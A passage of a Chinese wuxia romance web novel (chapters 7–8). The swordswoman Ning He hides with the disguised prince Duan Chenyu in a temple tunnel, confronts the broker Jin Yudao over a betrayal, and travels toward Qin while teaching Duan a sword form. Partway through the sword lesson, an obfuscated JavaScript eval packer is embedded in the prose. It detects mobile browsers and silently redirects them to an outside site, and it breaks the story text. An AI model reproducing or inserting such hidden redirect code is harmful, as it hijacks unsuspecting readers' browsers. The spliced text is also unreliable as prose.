她当机立断,凌波微步飘至青衣人身后,剑锋抵在他喉咙上,贴近他的耳畔,嗓音粗粝:“别出声,带我去藏身之处。” 青衣人下意识挣扎,手碰到宁禾挂在腰侧的钱袋,动作骤顿。 “是你吗,宁娘子?” 7. 第7章 宁禾一愣,没想到能在这碰到沈玉。 眼看就要搜查到十王殿,她没工夫叙旧,剑刃依旧横在他颈上,凑近耳语道:“不想死就带我藏。” 段沉玉只觉香暖气息喷洒在耳垂,酥酥痒痒,令他浑身一僵。 直到颈间刺痛,他才轻应了声。 他指了指判官像,宁禾挟着他过去,他伸手在雕像底座的小鬼头雕像上按了一下。 只听“咔嗒”一声,雕像后面露出一道暗门,里面黑漆漆的,隐约能看见向下的石阶。 嘈杂的脚步声靠近,殿门“吱呀”一声被推开,两人与此同时进入暗道,暗门闭合。 宁禾松了剑,警惕环顾周围,手还按在剑柄上。 段沉玉取下石壁上挂着的油灯,用火折子点燃,主动开口解释:“这是通往寺塔的暗道,塔中供奉着历代主持的骨灰,较为安全。” 宁禾正打量石壁上恢宏的画,闻言侧过头看沈玉。 “你怎么躲在这?” 段沉玉苦笑:“自吴郡离开的当夜,叔叔买的杀手便追来,三个护卫舍身引开,我无处可去,只好躲来寒山寺,在塔下已藏了近半月。” 宁禾狐疑道:“我在吴郡生活三年,从未听过寒山寺有什么地道,你从何知晓?” 段沉玉道:“说起来也是玉某之幸。我祖上参与修建寒山寺,负责的便是寺塔的部分。这本该是机密,只是我幼年某次在父亲书房找书,误从一书册中抖落图纸。我记性尚可,记到了现在。” 宁禾瞥了眼他的侧脸,淡淡道:“那是挺巧的。” 段沉玉眉眼一弯,暖色的灯火笼在他秀雅的面庞上,莹莹如玉。 “玉和宁娘子有缘。” 宁禾没有应他,自顾自看着壁画。 暗道越走越窄,两人被迫越靠越近,衣袖摩擦,到最后胳膊挨碰在一起。 段沉玉清晰感觉到少女手臂的线条,继而想象到她的力量。 他莫名想起那天断岳被少女三招打败,狼狈踩在脚下的场景。 是该说他那暗卫太弱,还是宁禾太强? 肩头被轻碰了一下,宁禾往旁边靠了点。 段沉玉收回神思,也觉得太近了。 他脚步放缓,刻意往外侧让了让,可暗道实在太窄,他还是偶尔会碰到宁禾的手背。 每碰一次,他便轻声道句“抱歉”。 走了约莫十余步,前方石阶微陡,段沉玉伸手想扶石壁稳住身形,却没成想抓空了,身子微微一晃,下意识往宁禾这边靠。 宁禾反应快,伸手扶了他一把。 腕骨相蹭。 段沉玉几不可察地僵了一瞬,随即往后退了半寸,低声道:“多谢宁娘子。” 宁禾收回手,摸了摸自己的手腕,总觉得那块骨头痒痒的,皮肤也不得劲。 跟被沈玉下了毒似的。 她抬头看他。 少年看着斯文,实际身量很高,他提着灯,垂着眼,纤长的睫毛投下浓密的影,不知在想些什么。 宁禾别过脸,盯着壁上的画。 段沉玉提着灯的手微微收紧。 腕骨处的摩擦感,怎么都驱散不净。 和男人的手腕不同,女子的骨骼的确纤细得多。 他换了只手提灯,试图消解手腕那点不适。 这方神游太虚,那方却看壁画入了迷。 暗道昏暗,仅有段沉玉手中那盏油灯亮着微弱的光。 壁画已经褪色,以但依旧不难看出其精美绝伦,曾经有着怎样的流光溢彩。 上面的内容,宁禾不太明白。 很快走到壁画末尾,她站定脚步,凑近细细观察。 “这是《睒子本生》壁画。” 少年嗓音不疾不徐,在幽静的暗道里十分清晰。 宁禾回过头看他,“你还懂佛?” 段沉玉笑了一下,侧头静望壁画,“家里人信佛,我便耳濡目染,略懂一二。” 宁禾挑眉,好奇道:“那这上面到底讲了什么?” “是至孝通神,感天动地,因果业报的故事。” 他沉水黑玉的眼回看她,油灯的光照亮狭窄小道里的尘埃,在他襟袖浮游飘荡,墨色的发如同流水泄在肩背。 少年音如清泉流石,徐徐讲述着壁画的内容。 宁禾像是被引了进去,听得出神。 简单来说,道者转世为盲夫妇之子睒子,因披鹿皮取水被国王误射身亡,孝行感动天神,天神赐下神药,睒子得以复活,其父母双目复明。国王虽造了杀业,但因真心忏悔,而得到原谅。[1] 这壁画是佛陀前世的故事,睒子是佛陀无数善行中的一次化身。他此世的孝行与善举,为其“转世”成佛积累了功德。[2] 宁禾听完,轻轻啧了一声。 段沉玉抚上壁画最后一幕,眸光疏淡:“行善积德,转世得圆满,这便是善因得善果。” “宁娘子觉得呢?” 宁禾道:“我不信因果。” “别的地方我不知道,我只知在大晋,天潢贵胄、世家大族犯了错不会忏悔。百姓遭受苦难,行再多的善也不会有天神来救。” 段沉玉一眨不眨盯着她看,“今生行善,寄托到来世享福,这样不好吗?” 宁禾哂笑:“来世?这辈子都过不好,还求什么来世。自欺欺人罢了。” 段沉玉:“那若是宁娘子受了不公,会如何做?” 宁禾言简意赅:“杀。” 段沉玉低笑一声:“宁娘子的想法很与众不同。” 宁禾瞥了他一眼,好似在说“你管得着吗”。 她暗道这些秃子最会忽悠人,彻底对画失了兴趣,兀自步出暗道。 段沉玉看着她洒脱的背影,两颗眼珠在灯火下明明灭灭。 对于睒子的故事,他亦心无波澜。 尤其是所谓的至孝通神。 段沉玉虽为太子,却并不得母妃喜爱。 幼时他初识“母慈子孝”,以为只要他足够孝顺乖巧,就能换来母后的青眼和疼爱。他曾为母后亲手雕刻生辰礼,换来的却只有她一句冷淡的“放下罢”。相反胞弟哪怕是送吃剩的糖葫芦,也会令她眉开眼笑。 既然真情换不来真心,他便不再付出真情。 * 暗室丈许见方,头顶用木梁架着,左墙有段木梯,显然是通向塔中的。 墙壁挂着两盏长明灯,微光虽淡,却足够照亮室内。角落里堆着些干草,还有个蒲团,是段沉玉平日歇息的地方。 宁禾找了个墙角抱剑坐下,闭目不言。 段沉玉跪坐到蒲团上,青袍曳地。 “宁娘子为何会被官兵追杀?” 宁禾睁眼,似笑非笑:“杀人越货,你怕不怕?” 段沉玉不仅没慌,反倒笑了。 他缓缓摇头,眸光温柔:“玉不怕。” “娘子是好人。” 他生得斯文清雅,昏暗灯火下眉眼深邃,白肤红唇,平添几分艳色。 宁禾对上他清润的双眼,脸颊和耳朵突然开始发热。 她移开视线,一时不知该看哪里,觉得转开脸会显得太局促,于是靠在墙上闭目,漠然开口:“等你真见我挥剑杀人,溅得满身是血,就不会这般觉得了。” 段沉玉轻轻笑了声,音如玉珠洒落,视线不依不饶落在她身上。 “玉相信娘子杀的都是恶人。” 不等宁禾讥讽,就听得少年吐出第二句。 “譬如那张家,娘子不就是替天行道吗?” 宁禾蓦地睁眼,杀气迸发,撞上少年澄澈和煦的眼睛。 “你在胡言乱语什么?” 段沉玉道:“娘子方才说杀人越货遭追捕,近日吴郡死的人里,唯有张家值得官府大动干戈。” 宁禾没有否认。 她不觉得需要否认。 沈玉自己都自身难保,窝藏在这狭小的暗室,哪有工夫去出卖她。 她冷笑:“太聪明不是好事,你最好别多管闲事。” 说罢她闭上眼,认真思索官府为何这么快就查到她身上。 行走江湖这么多年,她接过的刺杀任务没有上千,也有几百。 她从未失过手,也从未留下过破绽。 只能是有人出卖了她。 金玉刀? 这是最有可能的人。 但这沈玉……似乎也不一般。出现的太巧了,她可不信世上有这么巧合的事。 她被追捕,沈玉恰好就有藏身之处。 暗室寂静,约莫过了一炷香,宁禾听到头顶传来脚步声,似乎是官兵进塔了。 木板被踩得咯吱作响,她怕这些人发现底下是镂空。 收敛气息,手放在剑柄上,一眨不眨盯着木梯顶的暗门,随时准备动手。 过了片刻,顶上传来关门落锁声,恢复安静。 她无声舒出口气,松开剑柄,收回视线。 “宁娘子打算如何摆脱追兵?又打算前往何地?” 宁禾沉默片刻,如实道:“我不知道。” 师父去后,她没有离开吴郡,是为了查清真相。 所有的郎中都说师父是旧疾复发,灯枯油尽,可她总觉得师父的人生,不该这么草草收场。< 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等了很久,才听到里头传来僧人的低语,说官兵已撤了封山令,只在山下设了关卡。 宁禾怕是圈套,回到暗室拿出包袱里易容用的工具,扮成个老叟。 待第二日清晨,十王殿香客盈门,往来不断,她声东击西,寻了机会,自判官像后转出,混入香客,光明正大出了寒山寺。 步履蹒跚地往山下走,不忘凝神听路人的对话,果不其然听到有人讨论官府搜查。 山脚确有关卡,她不慌不忙路过,有官差见是个“颤颤巍巍的老头”,好心要扶她。 宁禾没有拒绝,末了还笑着拍人家的手背,直夸“好后生,佛祖和菩萨会保佑你”。那官差尚且年轻,挠着头,面皮都被夸红了。 走远后,宁禾趁无人遁入密林,挑了一颗高大茂密的树,躺在上面等入夜。 她怀疑沈玉,故而几日未眠,现躺在枝叶繁茂的大树上,清风徐来,不一会就倦了。 蝉鸣鸟叫,树叶哗哗,阳光穿过间隙,暖意融融。 宁禾做了个梦。 她梦到三年前师父旧疾复发的场景。 那段时日宁扶花接了个刺杀任务,整整三日未归。 当她寻至城外竹林,对方回来了。 那天是个雪夜,宁扶花足点竹海,衣袂飘飘,似天边而来的神女。 很快,神女坠了地。 大片雪竹被压弯,清脆的断裂声不绝于耳。 她飞身接住,被宁扶花喷了一脸的血。 雪是冷的,血是热的。 宁禾跪在雪窝里,惊慌失措看着师父苍白的脸,下一刻就看到对方红唇咧开,露出一排沾血的白牙,指着她的脸嘲笑。 “呆瓜,大半夜顶着半脸血,要把旁边乱葬岗的鬼吓死了。” 宁禾眨了眨眼,抹掉脸上的血点:“鬼本来就是死的。” 宁扶花坐起来,捏了一把她的脸:“长能耐了,还敢还嘴。” 宁禾捂着脸嘟囔:“本来就是……” “……” 布谷鸟叫了。 宁禾缓缓睁眼,模糊的视线慢慢聚焦。 夜风吹着满山的树影,明明是个晴夜,没有山雾也没有雨,为何她眼前还是朦胧的? 宁禾坐起来,身子后仰,轻飘飘落在草地上。 绿草如茵,泥土芬芳,她枕着手臂看树冠空袭里的天。 圆月如盘,漫天星斗。 “老花,你为什么不给我托梦,好歹告诉我到底该如何做。” 她喃喃自语,躺了片刻,翻身坐起来。 不管旁的,当务之急是剥了金玉刀那老狗的皮。 宁禾笃定,这事绝对和他脱不了干系。 身形如箭般掠下山,避开山脚零星的官兵关卡,行至城门偏角,趁官兵换值,宁禾跃入城中。 不多时便到鬼市的入口。 她坠入枯井,叩开暗门。 黑市的喧嚣依旧,却比上次多了几分压抑,往来之人皆神色匆匆,偶有交谈也压着嗓子,显然都在议论京官查案的事。 宁禾没理会周遭的动静,径直穿过外层交易区,走到鬼阁。 店内燃着线香,烟气袅袅。 金玉刀站在柜台后,鸡皮鹤发,身形佝偻,正拨弄算盘。 宁禾手腕一翻,剑已出鞘。 “老狗,纳命来!” 剑气如虹,“铛”的一声金鸣,铁算珠迸溅如雨。 8.第8章 只见金玉刀不慌不忙,掀起桌上账簿阻挡迸溅的铁算珠,如鬼魅向侧边一飘。 宁禾的剑锋斩入柜台,台面裂成两半“轰隆”一声坍塌下去。 金玉刀笑着摇了摇头,“小友这般进门就动手的规矩,比马贼还凶悍。有话何不坐下好好说,桌椅无辜,何苦与它们过不去?” 宁禾剑尖直指对方心口,“少跟我耍嘴皮子,张家的事你敢说不是你做局?如今官府追得我寸步难行,这若不是鬼阁的手笔还能有谁?” 金玉刀踏步进前,弯刀如月弧削出。 宁禾手腕一抖,长剑斜撩而上,刀剑相撞,发出一声刺耳铮鸣。 她借力后跃,剑势忽转,如疾风骤雨般,攻向金玉刀下盘。 金玉刀步法奇诡,弯刀舞动间带起阵阵劲风。 刀光如新月,身形如灵蛇,二人在这方寸之地缠斗不休,桌椅翻倒。 油灯摇曳,墙上人影乱晃。 斗到十来回合,金玉刀忽足尖一点翻倒的桌角,身形如大雁般腾空而起,轻飘飘落于房梁之上。 “小友剑法精妙,老夫佩服。实话与你说,张家一案惊动京中来人,这般动静,绝非鬼阁能为。” “但此事确算老夫失察,未料他背后有这般牵扯。鬼阁愿添一百五十两纹银,权作赔礼。” 宁禾挑眉,作势欲跃,“这点银子,还不够我打发官府鹰犬。” “且慢,”金玉刀急忙摆手,“银子不够再加个消息,关于尊师的消息,如何?” 宁禾身形骤然顿住,握剑的手微微一颤,杀气愈浓:“你知道什么?” 金玉刀跃下房梁,压低声音道:“三年前尊师在天门郡接的那单任务,正是劣徒牵线。” “具体情形老夫也不甚清楚,只偶然得知尊师旧疾复发,恐与秦地有些关联。那雇主来历恐不简单,一直未曾露面,只派了手下接洽,劣徒也是无意间看到那人袖口似乎有秦国纹样。” 宁禾面色不变,心头巨震。 三年前师父旧疾复发,她问了很多次,可师父无论如何都不愿说出实情。 后来师父去世,她想办法去探查,也是一点消息都没有。 鬼阁向来不透露暗杀的情况,不论是雇主的还是杀手的。 如今金玉刀却突然泄密,说不定又有什么陷阱。 她眯眼瞧他,冷笑道:“你透露这等辛秘,就不怕惹祸上身?” 金玉刀捻须轻笑:“鬼阁能做买卖几十年,自有保全之道。” “况且我也没透露雇主与暗杀任务的具体情况,不算破戒。” 宁禾见他神色从容,知这老狗背后有倚仗,说不定又在盘算什么。 她不再多问,还剑入鞘。 “今日便信你一回,若其中有诈,我一定回来剥了你这层老狗皮。” 出了鬼阁,宁禾径直走向黑市角落的兵器铺。 摊主接过卷刃的长剑,取出磨石细细修缮,她等了一个时辰,剑修好检查了一下,付了银子。 走过半条街,她步入闻风楼。 这楼是专门做买卖消息营生的,有的消息几个铜板便能买到,但有的消息几千两都不一定会卖。 老板神出鬼没,无人看过他的真面目,江湖人称千面书生。 吴郡的闻风楼只是分号,主楼在建康。 此刻柜台里坐的是个中年男人。 一袭青衫,手摇折扇,面前摊着泛黄的册子,看起来像个帐房先生。 宁禾将两块银锭搁在柜子上。 “查两件事。沈氏沈玉的真实根底,还有秦国近三年的情况。” 男人以扇轻点银锭,摇头道:“沈氏沈玉?沈家没这个人,江湖路上查无此人,要么是个化名,要么……就是个根本不该存在的人。” 他话锋一转:“至于秦国消息,好说,我一会儿整理成册拿给你。” 说完男人转身进了内间。 宁禾坐在凳子上等,过了半个时辰,男人拿来一本册子。 她接过,简单翻看了一下。 里面关于秦国的情况非常详细。 除了一些机密外,朝堂动向、百官争斗、士族变动,以及民间一些琐事,地形地貌,应有尽有。 她把册子揣怀里,说道:“卖你一个消息,鬼阁的金玉刀亲口承认,其徒儿三年前促成的某个暗杀单子,或跟秦国贵族有关。” 男人摇扇的手微微一顿,眼中闪过异色。 “这消息值五十两。” 说罢,把其中一枚银锭用扇子推回到宁禾面前。 宁禾没说什么,装回银锭,出了闻风楼。 她没有直接离开鬼市,而是去买了两份假过所和黄籍,过所上登记的目的地,是与秦国相反的交州。 又买了些干粮,宁禾走在人流如织的街道上,回头看了一眼鬼阁的方向,扬唇冷笑。 金玉刀敢做局害她,就要做好被追杀的准备。 她踏着月色出了黑市。 顺利出城,夜色里青山层峦叠嶂,白雾弥漫,影影绰绰。 她身形轻展,如夜莺穿林,重新回到寺庙塔底下的暗室。 刚进去就看到沈玉背着包袱,似乎准备走。 宁禾有些诧异,走上前开口询问:“你要走了?” 段沉玉轻声道:“追兵想必已经走远,一时半会不会回头,我想动身往秦国去。” 他抬眼看向宁禾,眼底带着歉意,“此去山长水远,若有缘分,他日或许还能再见。宁娘子保重。” 宁禾沉默片刻。 金玉刀说师父的死与秦国有关。 他的话确实不可全信,但也不可不信,毕竟师父那个荷包上是秦国纹样。 师父或许和秦国有关系,她之前猜测过。 沈玉的意外出现,金玉刀的话,这些事冥冥之中凑到了一起,都在引导她去秦国。 宁禾觉得,不管是阴谋诡计还是龙潭虎穴,她要去试试才知。 师父的死因是一定要查的。 持剑之人,没有当缩头乌龟的道理。 她抬眼看着沈玉,开口道:“我同你一起去秦国,护送你到长安,但我要报酬,三百两银子。” 段沉玉愣住,随即眼睛亮了起来,“自然可以,别说三百两,只要安然到外祖父那,一千两也是当得。” “有宁娘子同行,我可以放心了。” * 宁禾和段沉玉踏上了往秦之路。 两个逃犯,都是不能见光的人。 二人风餐露宿,白日避开官道走小路,夜里宿在破庙或山坳,轮流值夜。 一路上,少年宽袍广袖,身姿翩跹,纵使青衫微皱染尘泥,通身气度仍似昆山片玉,不掩其光。 宁禾看着他临溪净面饮水,仪态若白鹤理羽,又低头看自己沾泥的牛皮靴,脏污的裤腿衣袖,简直郁闷。 这人怎么不似逃亡,跟出来游山玩水似的。 她随便洗了把脸,把水囊灌满后抱着剑,不耐烦催促:“快点。” “马上来,劳宁娘子久等。” 少年玉面沾水,回首温笑,眼眸映着天光,如水中浸玉。 宁禾把继续催促的话咽回去,默默别开视线。 对美人总是多几分耐心。 谁叫她好色。 段沉玉爱洁,坐下要铺旧衣裳,能不踏污泥水洼就不踏,若是下了雨实在没办法,等到了河边也一定要清洗一番。 十天日子,只要路过溪流河水,他都会去沐浴。 虽食野果饮山泉,唇色仍若春樱含露。纵卧枯草宿荒庙,衣袂拂过犹带冷香。 此间狼狈,似乎于他这种世家子,不过是云烟过眼。 欣赏美人是一回事,但宁禾还是忍不住撇嘴,觉得他还是被追杀的不够狠,有工夫讲究。 * 雾卷暮色,星河浮霁。 山林满夜色,清风穿树过,遮天蔽日的浓绿叶片发出哗啦啦轻响,偶有乌鸦“咕咕”的叫声,阴森诡谲。 火堆噼啪燃着,橘红的火光在湿冷的空气里晃荡。 宁禾抱着剑坐在火堆边守夜,明灭的火光里,她眉峰微挑,眼尾带着几分锋利的俏色。 她拿枯枝拨弄火堆,心里翻涌着杂事。师父的旧疾,秦国的雇主,金玉刀的目的,还有身边这个身份不明的沈玉。 秦国到底有什么? “宁娘子。” 身旁突然传来沈玉清润的嗓音,打破了寂静。 她侧头去看,见他靠在树干上,如玉眼眸映着火光,无半点睡意。 “怎么不睡?” “你不睡我可睡了。”说着就要飞身上树。 “路途险峻,娘子可否教玉某剑法?” 宁禾挑眉睨去,“酬劳几何?我的剑诀可不便宜。” 醉花剑传女不传男,但她可以教沈玉自创的「弦月剑法」。 有钱不赚是傻子。 到时候到了秦国,要花钱的地方有很多,她必须得狠狠敲一笔。 “到长安后,东市三间绸庄予你,”段沉玉掸去袖口草屑,微微一笑:“外加一百两。” 宁禾道:“你在长安有产业?” 段沉玉点头:“及冠那年外祖父赠的。” 宁禾:“成交。” 她将枯枝抛去,音如碎玉:“且让我看看你的底子。” 但见少年广袖翻卷间,执枝起势。 腕沉如坠玉,步移若推棋。 “会什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351717|183547||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “习过君子剑,能挽弓三石。” 他枯枝如剑挑落叶,衣袂飘飘,“投壶射礼,皆堪娱宾。” 宁禾功夫高深,自然看出沈玉是在谦虚。 他底子不仅不弱,甚至称得上中流。 但也就仅此而已,应付几个普通官兵行,可对上专杀人的刺客,那便不够看了。 她飞身以鞘点他肘间:“花架子。” 鞘尖顺臂滑向腕骨,“弦月剑要的是诡劲。如新月乍现于乌云,似弓弦将发未发之际。” 鞘身骤压住他虎口,“撤力三分,留七分在气脉流转。” 段沉玉悟性不错,依言调整,随宁禾指引而动。 “看好了!” 宁禾振衣而起,寒芒出鞘:“这路弦月剑法共二十四式,取义新月渐盈之象。” 她剑尖斜挑,恍若玉钩初挂柳梢,“第一式‘初弦微明’,须得含而不露,劲透中宫。” “……” 段沉玉凝目望着,但见少女纵剑,周身恍若披覆一层泠泠月华。 剑光交织,似银河自九霄倾泻。 火堆余烬忽明忽暗,她腾挪身形如燕,偶有剑身反射火光跃入她瞳孔,明亮若玛瑙。 段沉玉静静看着,看得出了神。 他没见过她用剑。 也从未见过如此漂亮的剑法。 拿起剑的宁禾,像是拭去尘埃的明珠,煜煜生辉。 “呆瓜!” 宁禾看他一动不动,忽以剑鞘轻点他肩膀。 段沉玉神魂骤回,长睫微垂:“宁娘子的剑法果真精妙绝伦。” 宁禾哼了一声:“那是自然。” 和往常的冷淡不耐烦不同,带着灵动娇俏的傲气。 段沉玉没忍住弯唇:“娘子且看看,玉学得可有三分像。” 宁禾颔首,抱臂倚在树干上看。 只见少年玉腕一抖,身形旋动时袍角翻飞,若白鹤展翅踏雪。 手握树枝,猎猎清风。 “第七式错了。” 宁禾忽然掷出石子击他肘弯,“力道不够。” 段沉玉回首,星眸如泉水,挽着的发恰好如水流倾泻。 他应声称是,反手绾住散乱青丝,以地上碎枝随意一簪。 宁禾看着他练,时不时指导一二。 到了九、十式,段沉玉显出疲态,力道消减。 到了十八式,他手中枯枝微抖。 他以树枝拄地稳住身形,额间冷汗浸/湿垂落的发丝,月色下面色苍白如纸。 宁禾叫停了他,走过去道:“练不动了?” 幼时师父教她练剑,每日都是三个时辰起步。 这才哪到哪? 段沉玉直起身,气喘微微,他正要说话,宁禾突然扣住了他的手腕。 指尖带薄茧,触在脉门上,温热酥痒。 他睫毛动了动,“宁娘子……” 宁禾眉头微蹙:“闭嘴。” 指下脉象浮滑,沉取又若游丝断续。 她仰头看少年,有些疑惑:“十二经脉俱通,偏偏气海如漏底的斗,你经历了什么?” 段沉玉眸光微黯,嗓音低沉:“是我母亲。” 为了让胞弟上位,不惜下毒。 虽保了命,但此后纵学尽天下招式,也使不出七分力道。 宁禾没想到是这样。 她没有娘,但是师父把她养大,和娘无异。 天下还有害亲生孩子的人吗? 她沉默片刻,无意窥探他人秘密,稍加思索后,决定暂时帮他一把。 到了秦地她还需要沈玉,要打好关系才行。 她抬眸询问他的意见:“要我给你传点内力吗?” 段沉玉愣了一下,望着她明亮双目,拱手道谢:“宁娘子好心,玉感激不尽。 宁禾嗯了一声。 段沉玉问:“如何传?是掌对掌吗?” 他没亲眼见过互传内力,只从书本中看过,依稀记得是盘腿对坐,掌对掌传内力,或许额对额传。 宁禾闻言一顿,视线扫过他的胸口,有些欲言又止。 “不是。” 段沉玉被她那目光一扫,目露困惑,“那是……” 宁禾轻咳一声:“你说得倒也不错,旁人是那么传内力的。” “但是我不同,我只能从另一个地方给你传……” 她抿唇,头一次觉得自己好像个登徒子。 指尖虚点他胸/口中点。 少女嗓音如雨珠落竹,清脆干净,还带着几分微不可察的迟疑,在寂静的林间回荡。 “以掌贴膻中穴,方可传。” “不可隔衣物。” 段沉玉:“?”